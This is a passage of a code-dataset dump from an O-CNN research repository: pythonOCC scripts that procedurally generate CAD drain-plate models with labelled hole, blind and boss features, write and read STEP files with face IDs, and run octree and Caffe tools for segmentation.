npt = struct.unpack('i',f.read(4))[0]\n print('npt',npt)\n for i in range(npt):\n label_index.append(struct.unpack('i',f.read(4))[0])\n \n f.close() \n return label_index\n\n\nfrom OCC.STEPControl import STEPControl_Reader, STEPControl_Writer, STEPControl_AsIs\nfrom OCC.TCollection import TCollection_HAsciiString\nfrom OCC.STEPConstruct import stepconstruct_FindEntity\nfrom OCC.StepRepr import Handle_StepRepr_RepresentationItem\nfrom OCC.TopLoc import TopLoc_Location\n\nfrom occ_utils import set_face\n \n'''\ninput\n filename\n shape\n id_map: {TopoDS_Face: int}\noutput\n'''\ndef shape_with_fid_to_step(filename, shape, id_map):\n print('shape_with_fid_to_step')\n# fset = set_face(shape)\n writer = STEPControl_Writer() \n writer.Transfer(shape, STEPControl_AsIs) \n \n finderp = writer.WS().GetObject().TransferWriter().GetObject().FinderProcess()\n \n fset = set_face(shape)\n\n loc = TopLoc_Location()\n for f in fset:\n item = stepconstruct_FindEntity(finderp, f, loc)\n if item.IsNull():\n print(f) \n continue\n item.GetObject().SetName(TCollection_HAsciiString(str(id_map[f])).GetHandle())\n \n writer.Write(filename)\n\n \n \n# to do\n'''\ninput\noutput\n shape: TopoDS_Shape\n id_map: {TopoDS_Face: int}\n'''\ndef shape_with_fid_from_step(filename):\n print('shape_with_fid_from_step')\n reader = STEPControl_Reader()\n reader.ReadFile(filename)\n reader.TransferRoots() \n shape = reader.OneShape()\n \n tr = reader.WS().GetObject().TransferReader().GetObject()\n \n id_map = {}\n fset = set_face(shape) \n # read the face names\n for f in fset:\n item = tr.EntityFromShapeResult(f, 1)\n if item.IsNull():\n print(f)\n continue\n item = Handle_StepRepr_RepresentationItem.DownCast(item).GetObject()\n name = item.Name().GetObject().ToCString()\n if name:\n nameid = int(name)\n id_map[f] = nameid\n\n return shape, id_map\n \nif __name__ == '__main__':\n pts, normals, segs = point_cloud_from_file('D:/Weijuan/dataset/ModelNet40/ModelNet40/airplane/test/airplane_0627.points', False) \n print(len(pts)) " }, { "alpha_fraction": 0.6025263071060181, "alphanum_fraction": 0.6117894649505615, "avg_line_length": 38.91596603393555, "blob_id": "05c5dc9af1e4275daaf385aac23a12174dd0f846", "content_id": "c18187ce414bb917286dee8d7ec3f5b02a40a71c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4750, "license_type": "permissive", "max_line_length": 149, "num_lines": 119, "path": "/python/test_pipeline.py", "repo_name": "hducg/O-CNN", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Feb 22 16:24:02 2019\n\n@author: 2624224\n\"\"\"\nimport pickle\nimport os\nimport subprocess\nimport operator\n\nfrom data_import_export import shape_with_fid_to_step, shape_with_fid_from_step, point_cloud_to_file, labels_from_file, label_index_from_file \nfrom model_factory import shape_drain\nfrom point_cloud import point_cloud_from_labeled_shape \n\nroot_dir = 'D:/Weijuan/dataset/cad/'\ncategory_name = 'marche'\nnum_shapes = 1\n\nshape_dir = root_dir + category_name + '_shape/'\npoints_dir = root_dir + category_name + '_points/'\noctree_dir = root_dir + category_name + '_octree/'\nlmdb_dir = root_dir + category_name + '_lmdb/'\nfeature_dir = root_dir + category_name + '_feature/'\nlist_dir = root_dir + category_name + '_list/'\n\npath_names = [shape_dir, points_dir, octree_dir, feature_dir, list_dir]\nfor path in path_names:\n if not os.path.exists(path):\n os.mkdir(path)\n\ndef generate_paths_file(where, to, suffix): \n prefix = where\n if suffix is 'octree':\n prefix = where.split('/')[-2] + '/'\n\n names = os.listdir(where)\n \n filename = category_name + '_' + suffix + '.txt'\n print(filename)\n filepath = to + filename\n with open(filepath, 'w') as f:\n for name in names:\n if suffix is not '' and name.find(suffix) is not -1:\n f.write(prefix + name + '\\n')\n\n\ndef generate_label_files():\n octree_list_path = list_dir + category_name + '_octree_shuffle.txt'\n f = open(octree_list_path, 'r')\n lines = f.readlines()\n f.close()\n \n labels_names = os.listdir(feature_dir)\n \n depth_sep = lines[0].partition('upgrade')[2].split('.')[0] \n print(depth_sep)\n \n for i in range(len(lines)):\n shape_name = lines[i].split('/')[1].split('.')[0]\n \n labels_path = feature_dir + labels_names[2 * i + 1]\n print(labels_path)\n labels = labels_from_file(labels_path)\n \n label_index_path = octree_dir + shape_name + depth_sep + '.label_index'\n print(label_index_path)\n label_index = label_index_from_file(label_index_path)\n \n points_predicted = [labels[index] for index in label_index]\n points_predicted_path = points_dir + shape_name + depth_sep + '.points_predicted'\n print(points_predicted_path)\n with open(points_predicted_path, 'wb') as f:\n pickle.dump(points_predicted, f)\n \n # to be debugged \n face_index_path = points_dir + shape_name + '.face_index'\n with open(face_index_path, 'rb') as f:\n face_index = pickle.load(f)\n \n face_label_map = {}\n for i in range(len(points_predicted)):\n fid = face_index[i]\n label = points_predicted[i]\n if fid not in face_label_map:\n face_label_map[fid] = {label:1}\n else:\n if label in face_label_map[fid]:\n face_label_map[fid][label] += 1\n else:\n face_label_map[fid][label] = 1\n \n face_predicted = [max(face_label_map[key].items(), key = operator.itemgetter(1))[0] for key in sorted(face_label_map.keys())]\n face_predicted_path = shape_dir + shape_name + '.face_predicted'\n with open(face_predicted_path, 'wb') as f:\n pickle.dump(face_predicted, f)\n \n \noctree = 'D:/Weijuan/O-CNN/ocnn/octree/build/Release/octree.exe'\nconvert_octree_data = 'D:/Weijuan/caffe/build/tools/Release/convert_octree_data.exe'\ncaffe = 'D:/Weijuan/caffe/build/tools/Release/caffe.exe'\nif __name__ == '__main__': \n#1. filenames, output_path --> octree.exe --> *.octree, *.label_index\n points_list = list_dir + category_name + '_.points.txt'\n subprocess.check_call([octree, '--filenames', points_list, '--output_path', octree_dir, '--depth', '6', '--rot_num', '1'])\n generate_paths_file(octree_dir, list_dir, 'octree')\n#2. rootfolder, listfile, db_name --> convert_octree_data --> lmdb, octree_list_name\n if os.path.exists(lmdb_dir):\n os.remove(lmdb_dir)\n octree_list = list_dir + category_name + '_octree.txt'\n subprocess.check_call([convert_octree_data, root_dir, octree_list, lmdb_dir])\n#3. prototxt, caffemodel --> caffe test --> *.label_groundtruth, *.label_predicted\n blob_prefix = feature_dir\n model_path = 'D:/Weijuan/caffe/examples/o-cnn/segmentation_6_test.prototxt'\n weights_path = 'D:/Weijuan/caffe/examples/o-cnn/seg_6_cad.caffemodel' \n subprocess.check_call([caffe, 'test', '--model=' + model_path, '--weights=' + weights_path, '--gpu=0', '--blob_prefix=' + blob_prefix, \n '--binary_mode=false', '--save_seperately=true', '--iterations=' + str(num_shapes)]) \n#4. generate label files\n generate_label_files()\n" }, { "alpha_fraction": 0.6407766938209534, "alphanum_fraction": 0.6543689370155334, "avg_line_length": 32.46666717529297, "blob_id": "7bd8446ad42127134b04d4b1c0cb44868f790b6a", "content_id": "6772582bd3db13a08ea115368126be1eedc1679a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 515, "license_type": "permissive", "max_line_length": 147, "num_lines": 15, "path": "/ocnn/octree/_skbuild/win-amd64-3.5/cmake-build/CMakeTmp/link_flags/no_flag/MODULE/SHARED/src/CMakeLists.txt", "repo_name": "hducg/O-CNN", "src_encoding": "UTF-8", "text": "\n cmake_minimum_required(VERSION 3.9.3)\n project(link_flags C)\n\n include_directories(F:/wjcao/github/hducg/O-CNN/ocnn/octree/_skbuild/win-amd64-3.5/cmake-build/CMakeTmp/link_flags/no_flag/MODULE/SHARED/src)\n\n add_library(number SHARED number.c)\n add_library(counter MODULE counter.c)\n \n set_target_properties(counter PROPERTIES PREFIX \"\")\n \n add_executable(main main.c)\n \n target_link_libraries(main number)\n \n target_link_libraries(main \"\")\n " }, { "alpha_fraction": 0.5395805835723877, "alphanum_fraction": 0.5633682608604431, "avg_line_length": 27.238889694213867, "blob_id": "00e7dd8fcac42743b06a97e79f26086295949522", "content_id": "7a7b28ade6b5b4d85e34a2effe4667ca7a9a591b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 15260, "license_type": "permissive", "max_line_length": 146, "num_lines": 540, "path": "/python/model_factory.py", "repo_name": "hducg/O-CNN", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Oct 22 15:57:43 2018\n\n@author: 2624224\n\"\"\"\n\nfrom math import pi\nimport random\n\nfrom OCC.BRepBuilderAPI import (BRepBuilderAPI_Transform, BRepBuilderAPI_MakeWire,\n BRepBuilderAPI_MakeEdge, BRepBuilderAPI_MakeFace)\nfrom OCC.BRepFeat import BRepFeat_MakePrism\nfrom OCC.BRepPrimAPI import BRepPrimAPI_MakePrism\nfrom OCC.gp import gp_Ax2, gp_Pnt, gp_Dir, gp_Ax1, gp_Trsf, gp_Vec, gp_OZ, gp_Circ\nfrom OCC.TopAbs import TopAbs_REVERSED \nfrom OCC.TopoDS import topods\nfrom OCC.BRepTools import breptools_UVBounds\nfrom OCC.BRep import BRep_Tool_Surface\nfrom OCC.GeomLProp import GeomLProp_SLProps\nfrom OCC.GC import GC_MakeArcOfCircle, GC_MakeSegment\nfrom OCC.TopTools import TopTools_ListIteratorOfListOfShape\n\nfrom occ_utils import set_face\n\ndrain_R = 10.0\ndrain_r = 0.5\ndrain_t = 0.5\ndrain_rcs = gp_Ax2(gp_Pnt(0,0,0),gp_Dir(0,0,1))\n\n\n'''\n standard circle on XY plane, centered at origin, with radius 1\n\noutput\n w: TopoDS_Wire\n'''\ndef wire_circle():\n \n c = gp_Circ(drain_rcs,1.0) \n e = BRepBuilderAPI_MakeEdge(c, 0., 2*pi).Edge()\n w = BRepBuilderAPI_MakeWire(e).Wire() \n \n return w\n\n\n'''\n equal sided triangle, centered at origin\noutput\n w: TopoDS_Wire\n'''\ndef wire_triangle3():\n p1 = gp_Pnt(-1,0,0)\n p2 = gp_Pnt(-1,0,0)\n p2.Rotate(gp_OZ(),2*pi/3)\n p3 = gp_Pnt(-1,0,0)\n p3.Rotate(gp_OZ(),4*pi/3)\n \n e1 = BRepBuilderAPI_MakeEdge(GC_MakeSegment(p1, p2).Value()).Edge()\n e2 = BRepBuilderAPI_MakeEdge(GC_MakeSegment(p2, p3).Value()).Edge()\n e3 = BRepBuilderAPI_MakeEdge(GC_MakeSegment(p3, p1).Value()).Edge()\n \n w = BRepBuilderAPI_MakeWire(e1,e2,e3).Wire()\n\n return w\n\n\n'''\n isosceles triangle\noutput\n w: TopoDS_Wire\n'''\ndef wire_triangle2():\n ang = random.gauss(2*pi/3, pi/6)\n amin = pi / 3\n amax = 5 * pi / 6 \n if (ang > amax):\n ang = amax\n if (ang < amin):\n ang = amin\n p1 = gp_Pnt(-1,0,0)\n p2 = gp_Pnt(-1,0,0)\n p2.Rotate(gp_OZ(),ang)\n p3 = gp_Pnt(-1,0,0)\n p3.Rotate(gp_OZ(),-ang)\n \n e1 = BRepBuilderAPI_MakeEdge(GC_MakeSegment(p1, p2).Value()).Edge()\n e2 = BRepBuilderAPI_MakeEdge(GC_MakeSegment(p2, p3).Value()).Edge()\n e3 = BRepBuilderAPI_MakeEdge(GC_MakeSegment(p3, p1).Value()).Edge()\n \n w = BRepBuilderAPI_MakeWire(e1,e2,e3).Wire()\n\n return w \n\n\n'''\noutput\n w: TopoDS_Wire\n'''\ndef wire_rectangle():\n p1 = gp_Pnt(0,1,0)\n p2 = gp_Pnt(-1,0,0)\n p3 = gp_Pnt(0,-1,0)\n p4 = gp_Pnt(1,0,0)\n \n e1 = BRepBuilderAPI_MakeEdge(GC_MakeSegment(p1, p2).Value()).Edge()\n e2 = BRepBuilderAPI_MakeEdge(GC_MakeSegment(p2, p3).Value()).Edge()\n e3 = BRepBuilderAPI_MakeEdge(GC_MakeSegment(p3, p4).Value()).Edge()\n e4 = BRepBuilderAPI_MakeEdge(GC_MakeSegment(p4, p1).Value()).Edge() \n \n w = BRepBuilderAPI_MakeWire(e1,e2,e3,e4).Wire()\n\n return w\n\n\n'''\ninput\n c1: gp_Pnt\n c2: gp_Pnt\noutput\n w: TopoDS_Wire\n'''\ndef wire_sweep_circle(c1, c2):\n P = drain_rcs.Location()\n V = drain_rcs.Direction()\n \n R = P.Distance(c1)\n \n p1 = gp_Pnt(c1.XYZ())\n p2 = gp_Pnt(c1.XYZ())\n p3 = gp_Pnt(c2.XYZ())\n p4 = gp_Pnt(c2.XYZ())\n\n v1 = gp_Vec(c1,P)\n v1.Normalize()\n v2 = gp_Vec(c2, P)\n v2.Normalize()\n \n p1.Translate(v1*drain_r)\n p2.Translate(-v1*drain_r) \n p3.Translate(v2*drain_r)\n p4.Translate(-v2*drain_r)\n \n s1 = gp_Circ(gp_Ax2(c1,V),drain_r)\n e1 = BRepBuilderAPI_MakeEdge(GC_MakeArcOfCircle(s1, p1, p2, True).Value()).Edge()\n \n s2 = gp_Circ(gp_Ax2(P,V), R + drain_r)\n e2 = BRepBuilderAPI_MakeEdge(GC_MakeArcOfCircle(s2, p2, p4, False).Value()).Edge()\n \n s3 = gp_Circ(gp_Ax2(c2,V),drain_r)\n e3 = BRepBuilderAPI_MakeEdge(GC_MakeArcOfCircle(s3, p4, p3, True).Value()).Edge()\n \n s4 = gp_Circ(gp_Ax2(P,V), R - drain_r)\n e4 = BRepBuilderAPI_MakeEdge(GC_MakeArcOfCircle(s4, p1, p3, False).Value()).Edge()\n \n w = BRepBuilderAPI_MakeWire(e1,e2,e3,e4).Wire()\n \n return w\n\n \n# list of wire generation function \nflist = [wire_circle, wire_rectangle, wire_triangle2, wire_sweep_circle]\nsketch_type = ['circle', 'rectangle', 'triangle2', 'sweep']\nfeat_type = ['hole', 'blind', 'boss']\nlabel_index = {'ohter':0, 'base':1, 'hole_triangle2':2, 'hole_rectangle':3, 'hole_circle':4, 'hole_sweep':5,\n 'blind_triangle2':6, 'blind_rectangle':7, 'blind_circle':8,'blind_sweep':9, \n 'boss_triangle2':10, 'boss_rectangle':11,'boss_circle':12,'boss_sweep':13}\n\n \n'''\n find the length of the natural sequence from pos, pos is an element of pos_list\ninput\n pos: int\n pos_list: [int]\noutput\n j - i: int\n'''\ndef len_seq_natural(pos, pos_list):\n i = pos_list.index(pos)\n j = i + 1\n while j < len(pos_list):\n if pos_list[j] != pos_list[j - 1] + 1:\n break\n j += 1 \n return j - i\n\n\n'''\ninput\n nc: int, number of cells to be combined\n ang: float, angle between adjaent cells\n offset: float, offset angle of start position\n ri: float, radius of this ring\noutput\n wlist: {TopoDS_Wire: string}\n combo_name: ''\n'''\ndef list_wire_combo(nc, ang, offset, ri):\n combo_name = '' \n# fname = ['wire_circle', 'wire_rectangle', 'wire_triangle3', 'wire_triangle2', 'wire_sweep_circle'] \n pos_list = list(range(nc))\n wlist = {}\n pos_len_name = {}\n while len(pos_list)>0:\n# 1 choose a random location\n pos = random.choice(pos_list)\n\n# 2 choose a random length\n l = len_seq_natural(pos, pos_list)\n l = random.randrange(1, l + 1)\n \n# 3 choose a random shape\n func = random.choice(flist)\n# print(pos_list, pos, l, fname[flist.index(func)])\n ts = gp_Trsf()\n ts.SetScale(drain_rcs.Location(), drain_r)\n tt = gp_Trsf()\n tv = gp_Vec(drain_rcs.XDirection()) * ri\n tt.SetTranslation(tv)\n tr = gp_Trsf()\n tr.SetRotation(gp_Ax1(drain_rcs.Location(),drain_rcs.Direction()), offset + pos * ang)\n if(func == wire_sweep_circle and l > 1):\n c1 = drain_rcs.Location()\n c2 = drain_rcs.Location()\n c1.Translate(tv)\n c1.Rotate(gp_Ax1(drain_rcs.Location(),drain_rcs.Direction()), offset + pos * ang)\n c2.Translate(tv)\n c2.Rotate(gp_Ax1(drain_rcs.Location(),drain_rcs.Direction()), offset + (pos + l -1) * ang)\n w = wire_sweep_circle(c1, c2) \n elif(func != wire_sweep_circle and l == 1):\n w = func()\n aBRespTrsf = BRepBuilderAPI_Transform(w,ts)\n w = topods.Wire(aBRespTrsf.Shape())\n aBRespTrsf = BRepBuilderAPI_Transform(w,tt)\n w = topods.Wire(aBRespTrsf.Shape())\n aBRespTrsf = BRepBuilderAPI_Transform(w,tr)\n w = topods.Wire(aBRespTrsf.Shape())\n else:\n continue\n \n wname = sketch_type[flist.index(func)]\n pos_len_name[pos] = (l, wname) \n wlist[w] = wname\n for pos in range(pos, pos + l):\n pos_list.remove(pos)\n \n pos_len_name = sorted(pos_len_name.items(), key=lambda t : t[0]) \n for pos in pos_len_name:\n combo_name += str(pos[1][0]) + '[' + pos[1][1] + ']'\n return wlist, combo_name\n\n\n'''\noutput\n wires: {TopoDS_Wire:string}\n wire_name: ''\n'''\ndef list_wire_random():\n wire_name = '' \n # number of rings\n nr = int((drain_R/4/drain_r-0.5))\n wires = {}\n \n for i in range(nr):\n# radius of ith ring\n ri = 3*drain_r+i*4*drain_r\n# number of cells per ring\n np = int(1.5*pi+2*pi*i)\n# print('np:',np)\n \n# randomly choose the number of cells to combine\n combo_list = range(1, np // 3 + 1)\n combo = random.choice(combo_list)\n# angle between two adjacent cells\n ang = 2 * pi / np \n# randomly offset the start cell\n offset = random.gauss(ang / 2, ang / 2)\n if (offset < 0.):\n offset = 0.\n if(offset > ang):\n offset = ang\n wlist, combo_name = list_wire_combo(combo, ang, offset, ri) \n wires.update(wlist)\n wire_name += str(combo) + '(' + combo_name + ')'\n np = np // combo \n# print('combo',combo,'repeat',np) \n\n ang = 2*pi/np\n for j in range(1, np): \n aTrsf = gp_Trsf()\n aTrsf.SetRotation(gp_Ax1(drain_rcs.Location(), drain_rcs.Direction()), ang * j)\n for w in wlist:\n wname = wlist[w]\n aBRespTrsf = BRepBuilderAPI_Transform(w, aTrsf)\n w = topods.Wire(aBRespTrsf.Shape())\n wires[w] = wname\n \n return wires, wire_name\n\n\n'''\ninput\n face: TopoDS_Face\noutput\n gp_Dir\n'''\ndef normal_face(face):\n u, u_max, v, v_max = breptools_UVBounds(face)\n surf = BRep_Tool_Surface(face) \n D = GeomLProp_SLProps(surf,u,v,1,0.01).Normal() \n if face.Orientation() == TopAbs_REVERSED:\n D.Reverse()\n \n return D \n\n\n'''\ninput\n s: TopoDS_Shape\noutput\n f: TopoDS_Face\n'''\ndef face_bottom(s):\n flist = set_face(s)\n for f in flist:\n d = normal_face(f)\n if (d.IsEqual(drain_rcs.Direction(),0.01)):\n break\n \n return f\n\n\n'''\ninput\n base: TopoDS_Shape\n feature_maker: BRepFeat_MakePrism\noutput\n fmap: {TopoDS_Face:TopoDS_Face}\n'''\ndef map_face_before_and_after_feat(base, feature_maker): \n fmap = {}\n base_faces = set_face(base)\n \n for f in base_faces:\n if feature_maker.IsDeleted(f):\n continue\n \n fmap[f] = []\n modified = feature_maker.Modified(f)\n if modified.IsEmpty():\n fmap[f].append(f)\n continue\n \n occ_it = TopTools_ListIteratorOfListOfShape(modified)\n while occ_it.More():\n fmap[f].append(occ_it.Value())\n occ_it.Next()\n\n return fmap \n\n\n'''\ninput\n shape: TopoDS_Shape\n name: string\noutput\n name_map: {TopoDS_Face: string}\n'''\ndef map_from_name(shape, name):\n name_map = {}\n faces = set_face(shape)\n \n for f in faces:\n name_map[f] = name\n \n return name_map\n\n\n'''\ninput\n fmap: {TopoDS_Face: TopoDS_Face}, \n old_map: {TopoDS_Face: int}\n new_shape: TopoDS_Shape\n new_name: string\noutput\n new_map: {TopoDS_Face: int}\n'''\ndef map_from_shape_and_name(fmap, old_map, new_shape, new_name): \n new_map = {}\n new_faces = set_face(new_shape)\n for oldf in fmap:\n old_name = old_map[oldf]\n for samef in fmap[oldf]:\n new_map[samef] = old_name\n new_faces.remove(samef)\n \n for f in new_faces:\n new_map[f] = new_name\n\n return new_map \n\n \n'''\n one face and one hole feature for each wire\ninput\n base: TopoDS_Shape\n wlist: {TopoDS_Wire:string}\noutput\n base: TopoDS_Shape\n name_map: {TopoDS_Face:int}\n ftype: ''\n'''\ndef shape_multiple_hole_feats(base, wlist): \n F = face_bottom(base)\n random.shuffle(feat_type)\n ftype = random.choice(feat_type) \n if ftype == 'hole':\n direction = drain_rcs.Direction()\n fuse = False\n length = drain_t\n elif ftype == 'blind':\n direction = drain_rcs.Direction()\n fuse = False\n length = drain_t / 3\n else:\n direction = -drain_rcs.Direction()\n fuse = True\n length = drain_t / 2\n \n base_map = map_from_name(base, label_index['base'])\n for w in wlist: \n FP = BRepBuilderAPI_MakeFace(w).Face() \n feature_maker = BRepFeat_MakePrism() \n feature_maker.Init(base, FP, F, direction, fuse, False)\n feature_maker.Build()\n \n feature_maker.Perform(length) \n shape = feature_maker.Shape()\n \n fmap = map_face_before_and_after_feat(base,feature_maker) \n name_map = map_from_shape_and_name(fmap, base_map, shape, label_index[ftype + '_' + wlist[w]])\n \n base = shape\n base_map = name_map\n \n return base, base_map, ftype\n\n\n'''\noutput\n s: TopoDS_Shape\n'''\ndef shape_base_drain():\n w = wire_circle()\n \n ts = gp_Trsf()\n ts.SetScale(drain_rcs.Location(), drain_R)\n aBRespTrsf = BRepBuilderAPI_Transform(w,ts)\n w = topods.Wire(aBRespTrsf.Shape()) \n \n F = BRepBuilderAPI_MakeFace(w).Face() \n s = BRepPrimAPI_MakePrism(F, gp_Vec(0,0,drain_t)).Shape()\n \n return s \n\n\n'''\noutput\n shape: TopoDS_Shape\n face_map: {TopoDS_Face: int}\n id_map: {TopoDS_Face: int}\n shape_name: ''\n''' \ndef shape_drain():\n print('shape_drain') \n# step1, create the base\n base = shape_base_drain() \n \n# step2, create wires for holes\n wlist, wire_name = list_wire_random() \n \n# step3, add hole feature from wire\n shape, name_map, feat_name = shape_multiple_hole_feats(base, wlist)\n \n shape_name = feat_name + '-' + wire_name\n \n fid= 0\n fset = set_face(shape)\n id_map = {}\n for f in fset:\n id_map[f] = fid\n fid += 1\n \n return shape, name_map, id_map, shape_name\n\n \nfrom data_import_export import shape_with_fid_to_step, shape_with_fid_from_step \nimport pickle\n\nif __name__ == '__main__':\n print('model_factory.py')\n from OCC.AIS import AIS_ColoredShape\n from OCC.Display.SimpleGui import init_display\n from OCC.Display.OCCViewer import rgb_color\n \n occ_display, start_occ_display, add_menu, add_function_to_menu = init_display() \n occ_display.EraseAll()\n \n colors = [rgb_color(0,0,0), rgb_color(0.75,0.75,0.75), \n rgb_color(1,0,0), rgb_color(1,0.5,0), rgb_color(0,1,1), rgb_color(1,0,1), \n rgb_color(1,0.8,0.8), rgb_color(1,1,0.8), rgb_color(0.8,1,1), rgb_color(1,0.8,1), \n rgb_color(0.4,0,0), rgb_color(0.4,0.4,0), rgb_color(0,0.4,0.4), rgb_color(0.4,0,0.4)] \n\n# shape, fmap, id_map, shape_name = shape_drain()\n# print(shape_name)\n# face_truth = [fmap[f] for f, fid in sorted(id_map.items(), key = lambda kv: kv[1])]\n# with open(shape_name + '.face_truth', 'wb') as f:\n# pickle.dump(face_truth, f)\n\n shape_name = 'hole-1(1[triangle2])2(2[sweep])1(1[rectangle])7(1[rectangle]1[rectangle]1[circle]1[rectangle]1[circle]1[rectangle]1[rectangle])'\n shape, id_map = shape_with_fid_from_step(shape_name + '.step')\n with open(shape_name + '.face_truth', 'rb') as f:\n face_truth = pickle.load(f) \n \n fmap = {f: face_truth[id_map[f]] for f in id_map} \n ais = AIS_ColoredShape(shape) \n for f in fmap: \n ais.SetCustomColor(f, colors[fmap[f]])\n\n# filename = shape_name + '.step' \n# failed = shape_with_fid_to_step(filename, shape, id_map) \n \n# for f in failed:\n# ais.SetCustomColor(f, rgb_color(0,0,0))\n \n occ_display.Context.Display(ais.GetHandle())\n occ_display.View_Iso()\n occ_display.FitAll()\n \n start_occ_display()\n " }, { "alpha_fraction": 0.6184281706809998, "alphanum_fraction": 0.6363143920898438, "avg_line_length": 30.288135528564453, "blob_id": "10f191335dbdaae17c739eeedf243434f3315b8d", "content_id": "432946bd5b6dfc15fbb0d989ba9175685f0361e0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1845, "license_type": "permissive", "max_line_length": 109, "num_lines": 59, "path": "/python/upgrade_points.py", "repo_name": "hducg/O-CNN", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jan 24 09:56:49 2019\n\n@author: 2624224\n\"\"\"\n\ndataset_dir = 'F:/wjcao/datasets/TestCAD/'\n\nupgrade_points = 'F:/wjcao/github/O-CNN/ocnn/octree/build/Release/upgrade_points.exe'\n\nimport os\nimport subprocess\n\ndef filenames_from_dir(file_dir):\n names = []\n for root,_,filenames in os.walk(file_dir):\n names += filenames\n \n return names\n\ndef prepare_octree_from_points(category_name): \n points_dir = dataset_dir + category_name\n print(points_dir)\n upgraded_points_dir = points_dir + '_upgraded'\n print(upgraded_points_dir)\n upgraded_octree_dir = points_dir + '_octree'\n print(upgraded_octree_dir)\n\n points_names = filenames_from_dir(points_dir) \n \n # 0. generate model list\n model_names = [name.split('.')[0] + '\\n' for name in points_names]\n print(model_names)\n model_list_file = points_dir + '_model_list.txt'\n with open(model_list_file, 'w') as f:\n f.writelines(model_names)\n \n # 1. generate points list\n points_paths =[points_dir + '/' + name + '\\n' for name in points_names]\n points_file = points_dir + '_points_list.txt'\n with open(points_file, 'w') as f:\n f.writelines(points_paths)\n \n # 2. upgrade points\n subprocess.check_call([upgrade_points, '--filenames', points_file, '--output_path', upgraded_points_dir])\n \n # 3. generate upgraded points list\n points_names = filenames_from_dir(upgraded_points_dir)\n points_paths = [upgraded_points_dir + '/' + name + '\\n' for name in points_names]\n points_file = upgraded_points_dir + '_list.txt'\n with open(points_file, 'w') as f:\n f.writelines(points_paths)\n \n \nrocket = '04099429' \n#prepare_octree_from_points(rocket)\nprepare_octree_from_points('test')\n#prepare_octree_from_points('train')" } ]
12
christelle-git/CellDeclusteringTutorial
https://github.com/christelle-git/CellDeclusteringTutorial
de9c7d6c21759a15e0a6f4d67c69e89d38291107
805a29c1c12f4ec1dcf6f906dfdba5171ebc424a
9c4544cad4b8e71a792008eb5de3020960f5439b
refs/heads/main
2023-01-24T06:15:27.140510
2020-12-09T12:56:55
2020-12-09T12:56:55
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.692307710647583, "alphanum_fraction": 0.7257525324821472, "avg_line_length": 25.727272033691406, "blob_id": "d83fc9dd567ba9c0d846e7b1e7a8326dd29d04eb", "content_id": "815b66c55be530c0cbf6a93b4e6f93b5d5b7b102", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 299, "license_type": "no_license", "max_line_length": 117, "num_lines": 11, "path": "/declustering_tutorial_FF.py", "repo_name": "christelle-git/CellDeclusteringTutorial", "src_encoding": "UTF-8", "text": "\n\n\nimport geostatspy.geostats as geostat\n\nimport pandas as pd \nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\ndataframe = pd.read_csv('Synthetic_Arsenic_Data_FF.csv') \n\n\nW, Csize, Dmean = geostat.declus(dataframe,'East','North','Arsenic',iminmax = 1, noff= 25, ncell=200,cmin=1,cmax=750)\n\n\n" } ]
1
iTecAI/TwitterBird
https://github.com/iTecAI/TwitterBird
cd97ae2dc7442209be36a94a88757e91cbe939e1
01b0d9c1c3bad190c1e7a2336acf4bef28615bb8
7b3ffa3e081cb237fe4c34e597c4c533ed7bea12
refs/heads/master
2021-05-11T01:53:52.587663
2018-01-20T15:03:31
2018-01-20T15:03:31
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.8191489577293396, "alphanum_fraction": 0.8191489577293396, "avg_line_length": 46, "blob_id": "f985237b98351afc7ba705a0d184e173c0da669a", "content_id": "f4eae5cb0c882af91cf64b4202be56d4e1c3a762", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 94, "license_type": "permissive", "max_line_length": 79, "num_lines": 2, "path": "/README.md", "repo_name": "iTecAI/TwitterBird", "src_encoding": "UTF-8", "text": "# TwitterBird\nsimple and versatile twitter feed reader - search any twitter feed for keywords\n" }, { "alpha_fraction": 0.6320960521697998, "alphanum_fraction": 0.6342794895172119, "avg_line_length": 24.823530197143555, "blob_id": "8499faea2267aaac0521f1f0a6075ada5a4136bc", "content_id": "054b082c461c9e0caa19cd92537994e7ccb22ae5", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 916, "license_type": "permissive", "max_line_length": 97, "num_lines": 34, "path": "/twitterbird - 3.x/twitterbird.py", "repo_name": "iTecAI/TwitterBird", "src_encoding": "UTF-8", "text": "import ems\r\nimport urllib.request as url\r\nimport webbrowser as web\r\nimport os\r\n\r\n#load up config file\r\ncfg = open('config.txt', 'r')\r\ncfg_lines = cfg.readlines()\r\ncfg.close()\r\ncfg = ''.join(cfg_lines).splitlines()\r\n\r\n\r\n\r\npsr = ems.parser(str(url.urlopen('https://twitter.com/' + cfg[0]).read())) #twitter targeter\r\nkey_strings = cfg[1:len(cfg)] #keywords defined\r\nelements = psr.getElementsByClass(\"TweetTextSize TweetTextSize--normal js-tweet-text tweet-text\")\r\ncontents = []\r\nfor element in elements:\r\n contents.append(psr.getContent(element))\r\n\r\ndumb_tweets = ''\r\nfor e in contents:\r\n for i in key_strings:\r\n if i in e.lower():\r\n dumb_tweets = dumb_tweets + '<p><b>' + i + ':</b> ' + e + '</p>'\r\n break\r\n\r\nbase_string = dumb_tweets\r\nhtml = open('markup_temp.html', 'w')\r\nhtml.write(base_string)\r\n\r\nhtml.close()\r\n\r\nweb.open('file://' + os.path.realpath('markup_temp.html'))\r\n\r\n\r\n" } ]
2
ibrahimaljalal/KFUPM-ICS-520-HW1-Problem1
https://github.com/ibrahimaljalal/KFUPM-ICS-520-HW1-Problem1
5782344ee97dec6a9d8e193051e9fd04649eefb3
1664baec3333710877b41414b2529dcbe3c8d9d0
